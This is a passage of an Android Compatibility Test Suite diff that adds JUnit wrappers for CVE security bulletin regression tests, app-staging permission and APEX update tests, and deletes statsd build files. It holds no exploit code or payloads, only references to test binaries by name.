index 0000000..ad9e06f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_9247 extends SecurityTestCase {
+
+   /**
+     * b/120426166
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9247() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
new file mode 100644
index 0000000..4e0a4a6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0037 extends SecurityTestCase {
+
+    /**
+     * b/143106535
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-03")
+    @Test
+    public void testPocCVE_2020_0037() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0037", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+    /**
+     * b/143109193
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-03")
+    @Test
+    public void testPocCVE_2020_0038() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
new file mode 100644
index 0000000..f0f3323
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0039 extends SecurityTestCase {
+
+    /**
+     * b/143155861
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-03")
+    @Test
+    public void testPocCVE_2020_0039() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0039", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
new file mode 100644
index 0000000..43632ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0226 extends SecurityTestCase {
+
+    /**
+     * b/150226994
+     * Vulnerability Behaviour: SIGSEGV in surfaceflinger
+     */
+    @SecurityTest(minPatchLevel = "2020-07")
+    @Test
+    public void testPocCVE_2020_0226() throws Exception {
+        String processPatternStrings[] = {"surfaceflinger"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
+                processPatternStrings);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
new file mode 100644
index 0000000..07f82bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0381 extends SecurityTestCase {
+
+    /**
+     * b/150159669
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-09")
+    @Test
+    public void testPocCVE_2020_0381() throws Exception {
+        String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+                inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
new file mode 100644
index 0000000..aedeb1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0384 extends SecurityTestCase {
+
+    /**
+     * b/150159906
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-09")
+    @Test
+    public void testPocCVE_2020_0384() throws Exception {
+        String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+                inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
new file mode 100644
index 0000000..37465e4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0385 extends SecurityTestCase {
+
+    /**
+     * b/150160041
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-09")
+    @Test
+    public void testPocCVE_2020_0385() throws Exception {
+        String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+                inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
deleted file mode 100644
index fe42a0b..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assume.assumeTrue;
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0462 extends SecurityTestCase {
-
-    /**
-     * b/169161709
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2020-12")
-    public void testPocCVE_2020_0462() throws Exception {
-        assumeTrue(containsDriver(getDevice(),
-                "/sys/devices/system/cpu/vulnerabilities/spec_store_bypass"));
-        String spec_store_bypass = AdbUtils.runCommandLine(
-                "cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass", getDevice());
-        assertFalse(spec_store_bypass.startsWith("Vulnerable"));
-        assertTrue(spec_store_bypass.startsWith("Not affected") ||
-                spec_store_bypass.startsWith("Mitigation"));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
new file mode 100644
index 0000000..5248019
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0313 extends SecurityTestCase {
+
+    /**
+     * b/170968514
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2021_0313() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+    /**
+     * b/170732441
+     * Vulnerability Behaviour: SIGSEGV in storaged
+     */
+    @SecurityTest(minPatchLevel = "2021-02")
+    @Test
+    public void testPocCVE_2021_0330() throws Exception {
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+        testConfig.config.checkMinAddress(false);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
new file mode 100644
index 0000000..711949a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc21_01 extends SecurityTestCase {
+
+    /**
+     * b/168211968
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2021-01")
+    public void testPocCVE_2021_0318() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0318", getDevice(), 300);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 2b83077..10137a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -267,7 +267,15 @@
     }
 
     private long getDeviceUptime() throws DeviceNotAvailableException {
-        String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+        String uptime = null;
+        int attempts = 5;
+        do {
+            if (attempts-- <= 0) {
+                throw new RuntimeException("could not get device uptime");
+            }
+            getDevice().waitForDeviceAvailable();
+            uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
+        } while (uptime.isEmpty());
         return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index aedc7b3..35e46c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -46,6 +46,19 @@
      ******************************************************************************/
 
     /**
+     * b/17769851
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2015-12")
+    @Test
+    public void testPocCVE_2015_6616() throws Exception {
+        pocPusher.only64();
+        String inputFiles[] = {"cve_2015_6616.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2015-6616",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
      * b/37239013
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
@@ -474,6 +487,26 @@
      ******************************************************************************/
 
     /**
+     * b/158762825
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-11")
+    @Test
+    public void testPocCVE_2020_0451() throws Exception {
+        assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+        String inputFiles[] = {"cve_2020_0451.aac"};
+        String binaryName = "CVE-2020-0451";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
      * b/112891564
      * Vulnerability Behaviour: SIGSEGV in self (Android P),
      *                          SIGABRT in self (Android Q onward)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
index 224c8ba..18ad055 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -319,7 +319,7 @@
         getContext().registerReceiver(onResult, myFilter);
         assertTrue(getManager().requestPinShortcut(ms2,
                 PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
-                        PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+                        PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender()));
 
         assertTrue("Didn't receive requestPinShortcut() callback.",
                 latch.await(30, TimeUnit.SECONDS));
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 8ecfd16..4a69184 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -189,8 +189,10 @@
         PackageInstaller packageInstaller = getPackageInstaller();
         List<PackageInstaller.SessionInfo> stagedSessions = packageInstaller.getStagedSessions();
         for (PackageInstaller.SessionInfo sessionInfo : stagedSessions) {
-            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID) {
-                // Cannot abandon a child session
+            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+                    || sessionInfo.isStagedSessionApplied()
+                    || sessionInfo.isStagedSessionFailed()) {
+                // Cannot abandon a child session; no need to abandon terminated sessions
                 continue;
             }
             try {
@@ -1188,6 +1190,55 @@
                 .contains("AVB footer verification failed");
     }
 
+    /**
+     * Test non-priv apps cannot access /data/app-staging folder contents
+     */
+    @Test
+    public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+        final int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        // Non-priv apps should not be able to view contents of app-staging directory
+        final File appStagingDir = new File("/data/app-staging");
+        assertThat(appStagingDir.exists()).isTrue();
+        assertThat(appStagingDir.listFiles()).isNull();
+        // Non-owner user should not be able to access sub-dirs of app-staging directory
+        final File appStagingSubDir = new File("/data/app-staging/session_" + sessionId);
+        assertThat(appStagingSubDir.exists()).isFalse();
+        assertThat(appStagingDir.listFiles()).isNull();
+    }
+
+    private static long getInstalledVersion(String packageName) {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager pm = context.getPackageManager();
+        try {
+            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+            return info.getLongVersionCode();
+        } catch (PackageManager.NameNotFoundException e) {
+            return -1;
+        }
+    }
+
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_preUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isTrue();
+        assertThat(isUpdatedSystemApp).isFalse();
+    }
+
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_postUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isFalse();
+        assertThat(isUpdatedSystemApp).isTrue();
+    }
+
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 7efeb6b..66f2510 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -246,6 +246,7 @@
     @Test
     // Don't mark as @LargeTest since we want at least one test to install apex during pre-submit.
     public void testInstallStagedApexAndApk() throws Exception {
+        assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
         setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
@@ -657,6 +658,24 @@
         runPhase("testApexWithUnsignedPayloadFailsVerification");
     }
 
+    @Test
+    @LargeTest
+    public void testApexSetsUpdatedSystemAppFlag() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testApexSetsUpdatedSystemAppFlag_preUpdate");
+        installV2Apex();
+        runPhase("testApexSetsUpdatedSystemAppFlag_postUpdate");
+    }
+
+    /**
+     * Test non-priv apps cannot access /data/app-staging folder contents
+     */
+    @Test
+    public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+        runPhase("testAppStagingDirCannotBeReadByNonPrivApps");
+    }
+
     /**
      * Store the component name of the default launcher. This value will be used to reset the
      * default launcher to its correct component upon test completion.
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
deleted file mode 100644
index 386606b..0000000
--- a/hostsidetests/statsd/Android.bp
+++ /dev/null
@@ -1,43 +0,0 @@
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_host {
-    name: "CtsStatsdHostTestCases",
-
-    srcs: ["src/**/*.java"],
-
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-        "mts",
-    ],
-
-    libs: [
-        "compatibility-host-util",
-        "cts-tradefed",
-        "host-libprotobuf-java-full",
-        "platformprotos",
-        "tradefed",
-        "truth-prebuilt",
-    ],
-    static_libs: [
-        "core_cts_test_resources",
-        "perfetto_config-full",
-    ],
-    data: [
-        "**/*.pbtxt",
-        ":CtsStatsdApp",
-    ],
-}
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
deleted file mode 100644
index 451ad73..0000000
--- a/hostsidetests/statsd/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Statsd host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="statsd" />
-    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
